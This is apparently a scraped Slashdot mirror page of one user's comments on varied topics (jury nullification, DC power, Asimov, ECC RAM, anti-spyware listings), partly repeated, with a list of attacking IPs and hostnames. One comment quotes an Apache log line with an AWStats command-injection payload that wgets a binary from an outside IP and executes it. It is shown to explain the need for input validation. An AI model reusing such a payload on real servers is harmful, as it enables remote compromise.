does semen have a really high protein content -- in that it would be healthy for a women to consume regularly?
This is more of a Straight Dope question, and it has indeed been dealt with there.
OK, here's a question for the Mythbusters: ever thought of collaborating with others who do similar work? Say, bring in Cecil Adams as a guest Mythbuster? Or maybe Penn & Teller?
We accidently destroyed the monitor on a "Battlezone" arcade game by putting it in some kind of out-of-spec mode. We were trying out a bug that we'd heard could crash the game (with the permission of the owner, who was curious and watching). Basically, you get down to your last tank, and then keep dodging shots until the game sends a missile. You time it right so that when the game takes away the enemy tank and replaces it with the missile, there is a last shot from the enemy tank still in progress, and you run into that shot and die.
What happens then is the game goes into demo mode. However, that missile is still there, and it kills the demo tank. The game then crashes, as the demo mode code did not expect the demo tank to die.
What happened in our case was the monitor then went freaky, and that distinct smell and smoke that you get when a monitor fries appeared.
We wanted to try this again after it was fixed to see if it was reproduceable, but the owner was against it as none of us could afford to cover the damages if it happened again (we were all poor college students).
Re:"I, Robot" not a novel
on
Top 20 Geek Novels
·
· Score: 2, Informative
I, Robot, is the title of the collection of short stories that included the novella "I, Robot" which is long enough to qualify as a novel.
Actually, there was no story named "I, Robot" in "I, Robot". The stories in "I, Robot" were:
Robbie
Runaround
Reason
Catch that Rabbit
Liar!
Little Lost Robot
Escape!
Evidence
The Evitable Conflict
There is a story named "I, Robot", but it is not an Asimov story. It was written by Eando Binder and published in 1939.
I'll accept any law as long as I get back the following:
2. Every jury is notified of their right to jury nullification. They can judge not only the defendant, but the law.
The problem with this is that it would lead to many more cases of the jury judging the victim, rather than the defendant or the law. We've had this happen before, such as when white juries would acquit white people accused of crimes against black people in the South, because the victim was black.
Do you really want a system where people who are not white, or not straight, or not Christian, or who are too ugly or too good looking, can be more easily victimized?
Like every other power in our system, nullification needs checks and balances. Not telling the jury they have that power is the only check and balance anyone has been able to come up with for it, and that works well in practice.
A decent analogy can be made with the economy. Like climate, the economy has cycles, and somewhat chaotic movement. Pretty much no one would argue that a small increase in the interest rates, well below the variation that normally happens due to the cycles, would not affect the economy.
Climate works the same way. A small change in the long term average can be quite significant, even if the short-term (and "short-term" in this context can mean decades or centuries) variations are much bigger.
OK, electricity has always confused me, so I'm probably being stupid here, but I don't see how this saves power.
Assume that an AC-to-DC conversion causes a loss of 10% (just to have a number).
If we bring in AC, convert it to DC in one location, and then distribute it as DC to all the computers, we've lost 10%.
If we bring in AC, distribute it to all the computers, and convert to DC at each computer, we lose 10%. The conversions are independent and parallel, and so the loss is not additive. (After all, if we have 10 computers, it doesn't mean we are losing 100% of the power).
I can see how we might save money, as we no longer would need a complicated power supply at each computer. Also, we wouldn't have a hot power supply in each computer, and this could reduce cooling costs. But I don't see where the power savings comes from.
some spyware companies changed a few of their nasty ways and were rewarded by being delisted. The anti-spyware companies (of course) have reserved the right to relist lapsed spyware makers
Unfortunately, there are also companies that have been listed as spyware by mistake (sometimes partially their own fault, by letting their products be included in bundles, and the bundlers added spyware, or by having unclear pivacy policies, and then things like that). With some effort, they can get unlisted by many of the anti-spyware companies (after getting out of those bundles, clarifying privacy polices, etc).
However, some of the anti-spyware companies, including a couple in the top 4 most popular providers of free anti-spyware tools, are very slow to delist. Once you get past the top 4, there are many anti-spyware companies that list you because a couple of the big ones did (e.g., they copy their lists), and these companies almost never delist.
Consequently, threat of legal action is sometimes the only way to get them to actually look at your product and evaluate it on its own merits.
I'm thinking this is funny as hell. How many people configure apache this way?
Uhm...pretty much everyone using AWStats or the other programs mentioned has Apache configured that way. The problem being exploited is not an Apache configuration problem, but rather failure of certain PHP and Perl scripts to validate input.
Here is a line from my Apache logs, showing a breakin attempt:
hist.ih.univ.szczecin.pl - - [08/Nov/2005:06:23:58 -0800] "GET/cgi-bin/awstats/awstats.pl?configdir=|echo;echo%2 0YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2fli sten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216% 2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1" 404 1021 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
Basically, most scripting languages allow for metacharacters in strings that allow for embedded scripts, and programs that accept external input need to clean up strings that come from untrusted sources before using them in contexts where those scripts would be executed.
Well, if you consider reusing the code name that they were going to use for the next generation of OS/2 and having a subsystem that could run old OS/2 console programs (similar in technology to the DOS subsystem) to be "built off of", then yes.
However, if "built off of" requires actually having some technical connection (code, design, or what not), then NT is not built off of OS/2.
so if you dont like it -- DONT PLAY THE FUCKING GAME YOU MORONS. when enough people dont play the game, blizzard will get the message. real good
Players generally approve of The Warden. Cheaters are a bigger problem to most players than the risk that Blizzard will somehow do something nasty with information they glean from The Warden.
In fact, given two otherwise identical games, one that uses something like The Warden to stop cheaters, and one that does not, the one that uses it would do much better in the market.
I'm not aware of any fossil evidence showing half-way mutated species
Ahhh...the classic gaps-in-the-fossil-record complaint. The funny thing is, whenever scientists find a new fossil that fits into one of these gaps, the Creationists don't see that as evidence for evolution. On the contrary, now there are two gaps, instead of one.
It's just not possible to get a movie -- or any artistic work, whether we're talking serious art or pop culture -- to the state where it's absolutely, 100% perfect. There's always some fine tuning, some tweaking, and at some point you have to say "That's it, we're done."
Perhaps in general, but I think there may be exceptions. Much of the work of Bach, for example. Music may be a special case...and this may be why music can stick in our heads in a way that other artistic works do not, because it is possible to get it perfect.
What is the 3ms for? Black to white? White to black? Gray to gray?
These can all be different for a given panel technology, and the manufacturer often picks the smallest. For some technologies, black to white and white to black are actually faster than gray to gray, but gray to gray is the most important for typical gaming or video use.
How about distribution political criticism, anonymously
That's easy to do with non-anonymous systems, such as BitTorrent, or the web. For example, the author of the criticism can use an anonymous remailler to mail his article to a web site, or to someone who has offered to distribute such things via BitTorrent. The recipient can then examine it, see that it is not actually just a rip of the latest blockbuster movie, and put it on a web site, or make it available on BitTorrent.
Also, a law making system operators liable for infringement done using their systems could easily be written so as to just cover copyright issues, and avoid getting anywhere near a first amendment issue.
All actions like these do is force development of next gen p2p like Mute Filesharing
All it will take to totally bust systems like that is a small change to the law, to make it so that if you operate a system participating in such a p2p network, you are liable for infringement using your system.
Since these systems have no advantage whatsoever over non-anonymous systems like Bittorrent except when being used to distribute material illegally, it will be easy to get such a change to the law made.
There is nothing to "dispute" since that's not even a meaningful claim. People have built very unreliable microkernels and very reliable monolithic kernels
The difference is that you can build a microkernel and prove it is reliable, secure, meets performance specifications, etc. No one has been able to do that for a monolithic kernel.
It is no coincidence that if you want a kernel that can be certified at EAL 7, you have to go with a microkernel.
Sonar is too useful for the Navy to accept restrictions on how it's used. This suit will go nowhere
I live near Bremerton, Washington, and so know a lot of ex sub-mariners. Most of them tell me that in all their years on subs, they NEVER used active sonar. It gives out too much useful information to anyone who might be trying to locate the sub.
So, don't be too sure the Navy couldn't live with some restrictions.
As an experiment, for the last couple of months, I've left a process running at home, and one at work, that simply has a 128 MB buffer, filled with a simple data pattern. Every 60 seconds, it checks the buffer, to see if any of the data has changed. Because it is accessing it like this, it stays resident.
Result: no errors.
Based on the expected RAM error rates I was able to find by Googling, I expected to see several errors by now. However, all the published data I could find was a few years old, and presumably RAM has been made more resistant to error. Whatever the reason, experiment seems to say that ECC is not as necessary as some think.
Slashdot Mirror
This is more of a Straight Dope question, and it has indeed been dealt with there.
OK, here's a question for the Mythbusters: ever thought of collaborating with others who do similar work? Say, bring in Cecil Adams as a guest Mythbuster? Or maybe Penn & Teller?
What happens then is the game goes into demo mode. However, that missile is still there, and it kills the demo tank. The game then crashes, as the demo mode code did not expect the demo tank to die.
What happened in our case was the monitor then went freaky, and that distinct smell and smoke that you get when a monitor fries appeared.
We wanted to try this again after it was fixed to see if it was reproduceable, but the owner was against it as none of us could afford to cover the damages if it happened again (we were all poor college students).
Actually, there was no story named "I, Robot" in "I, Robot". The stories in "I, Robot" were:
There is a story named "I, Robot", but it is not an Asimov story. It was written by Eando Binder and published in 1939.
"I, Robot" was not a novel. It was a collection of short stories.
2. Every jury is notified of their right to jury nullification. They can judge not only the defendant, but the law.
The problem with this is that it would lead to many more cases of the jury judging the victim, rather than the defendant or the law. We've had this happen before, such as when white juries would acquit white people accused of crimes against black people in the South, because the victim was black.
Do you really want a system where people who are not white, or not straight, or not Christian, or who are too ugly or too good looking, can be more easily victimized?
Like every other power in our system, nullification needs checks and balances. Not telling the jury they have that power is the only check and balance anyone has been able to come up with for it, and that works well in practice.
Climate works the same way. A small change in the long term average can be quite significant, even if the short-term (and "short-term" in this context can mean decades or centuries) variations are much bigger.
Assume that an AC-to-DC conversion causes a loss of 10% (just to have a number).
If we bring in AC, convert it to DC in one location, and then distribute it as DC to all the computers, we've lost 10%.
If we bring in AC, distribute it to all the computers, and convert to DC at each computer, we lose 10%. The conversions are independent and parallel, and so the loss is not additive. (After all, if we have 10 computers, it doesn't mean we are losing 100% of the power). I can see how we might save money, as we no longer would need a complicated power supply at each computer. Also, we wouldn't have a hot power supply in each computer, and this could reduce cooling costs. But I don't see where the power savings comes from.
Unfortunately, there are also companies that have been listed as spyware by mistake (sometimes partially their own fault, by letting their products be included in bundles, and the bundlers added spyware, or by having unclear pivacy policies, and then things like that). With some effort, they can get unlisted by many of the anti-spyware companies (after getting out of those bundles, clarifying privacy polices, etc).
However, some of the anti-spyware companies, including a couple in the top 4 most popular providers of free anti-spyware tools, are very slow to delist. Once you get past the top 4, there are many anti-spyware companies that list you because a couple of the big ones did (e.g., they copy their lists), and these companies almost never delist.
Consequently, threat of legal action is sometimes the only way to get them to actually look at your product and evaluate it on its own merits.
192.50.74.27r s.com
195.200.183.229
200.218.224.224
202.123.223.148
210.109.194.231
211.155.246.38
211.174.185.73
211.21.77.62
213.16.96.204
213.202.216.156.euhost.net
218.189.216.181
220-130-208-19.hinet-ip.hinet.net
220-244-34-242-wa.tpgi.com.au
61-218-77-13.hinet-ip.hinet.net
61.80.72.99
69.61.63.10
adsl-220-228-117-138.nh.sparqnet.net
adsl-68-122-36-243.dsl.pltn13.pacbell.net
aqr46.internetdsl.tpnet.pl
bbned99-214-100.dsl.hccnet.nl
bgp01132775bgs.ypeast01.mi.comcast.net
cho94-2-82-66-144-107.fbx.proxad.net
cpe002078111062-cm0011ae92b516.cpe.net.cable.roge
delhi-203.200.79-133.vsnl.net.in
dsi-net.handicap.dk
ev1s-66-98-214-41.ev1servers.net
h-213.61.102.218.host.de.colt.net
hist.ih.univ.szczecin.pl
i02m-62-34-165-67.d4.club-internet.fr
noname.tim.se
ool-18bfd460.dyn.optonline.net
p15180695.pureserver.info
republicorp001.intellicentre.net.au
unknown.sagonet.net
www.zalau.info
xboat.cviog.uga.edu
Uhm...pretty much everyone using AWStats or the other programs mentioned has Apache configured that way. The problem being exploited is not an Apache configuration problem, but rather failure of certain PHP and Perl scripts to validate input.
Here is a line from my Apache logs, showing a breakin attempt:
Basically, most scripting languages allow for metacharacters in strings that allow for embedded scripts, and programs that accept external input need to clean up strings that come from untrusted sources before using them in contexts where those scripts would be executed.
My web server logs for my home machine are full of attempts to exploit these holes, coming from a large number of IP addresses.
This indicates that this is indeed in the wild, and active, and spreading.
Thus, it is not alarmist shit.
You might find Jeff Wayne's musical version interesting to add to your collection.
I was happily surfing porn sites, and in the midst of an otherwise lovely thumbnail gallery, there was Mr Goatse.
Worse...it was a different shot of him, so we've only seen the beginning of this horror.
I quickly closed the window, but it wasn't quick enough to prevent the horror, as it is hard to act quickly when surfing with only one hand...
Well, if you consider reusing the code name that they were going to use for the next generation of OS/2 and having a subsystem that could run old OS/2 console programs (similar in technology to the DOS subsystem) to be "built off of", then yes.
However, if "built off of" requires actually having some technical connection (code, design, or what not), then NT is not built off of OS/2.
Players generally approve of The Warden. Cheaters are a bigger problem to most players than the risk that Blizzard will somehow do something nasty with information they glean from The Warden.
In fact, given two otherwise identical games, one that uses something like The Warden to stop cheaters, and one that does not, the one that uses it would do much better in the market.
Ahhh...the classic gaps-in-the-fossil-record complaint. The funny thing is, whenever scientists find a new fossil that fits into one of these gaps, the Creationists don't see that as evidence for evolution. On the contrary, now there are two gaps, instead of one.
For pre-XML MS Office formats, yes. They have to reverse engineer the format.
For the XML format, everything necessary for perfect compatibility is publically documented.
Perhaps in general, but I think there may be exceptions. Much of the work of Bach, for example. Music may be a special case...and this may be why music can stick in our heads in a way that other artistic works do not, because it is possible to get it perfect.
These can all be different for a given panel technology, and the manufacturer often picks the smallest. For some technologies, black to white and white to black are actually faster than gray to gray, but gray to gray is the most important for typical gaming or video use.
That's easy to do with non-anonymous systems, such as BitTorrent, or the web. For example, the author of the criticism can use an anonymous remailler to mail his article to a web site, or to someone who has offered to distribute such things via BitTorrent. The recipient can then examine it, see that it is not actually just a rip of the latest blockbuster movie, and put it on a web site, or make it available on BitTorrent.
Also, a law making system operators liable for infringement done using their systems could easily be written so as to just cover copyright issues, and avoid getting anywhere near a first amendment issue.
All it will take to totally bust systems like that is a small change to the law, to make it so that if you operate a system participating in such a p2p network, you are liable for infringement using your system.
Since these systems have no advantage whatsoever over non-anonymous systems like Bittorrent except when being used to distribute material illegally, it will be easy to get such a change to the law made.
The difference is that you can build a microkernel and prove it is reliable, secure, meets performance specifications, etc. No one has been able to do that for a monolithic kernel.
It is no coincidence that if you want a kernel that can be certified at EAL 7, you have to go with a microkernel.
I live near Bremerton, Washington, and so know a lot of ex sub-mariners. Most of them tell me that in all their years on subs, they NEVER used active sonar. It gives out too much useful information to anyone who might be trying to locate the sub.
So, don't be too sure the Navy couldn't live with some restrictions.
No self-respecting workstation went without it
As an experiment, for the last couple of months, I've left a process running at home, and one at work, that simply has a 128 MB buffer, filled with a simple data pattern. Every 60 seconds, it checks the buffer, to see if any of the data has changed. Because it is accessing it like this, it stays resident.
Result: no errors.
Based on the expected RAM error rates I was able to find by Googling, I expected to see several errors by now. However, all the published data I could find was a few years old, and presumably RAM has been made more resistant to error. Whatever the reason, experiment seems to say that ECC is not as necessary as some think.
Cool...and if you started with PostgreSQL in 1999, maybe your queries will finish soon!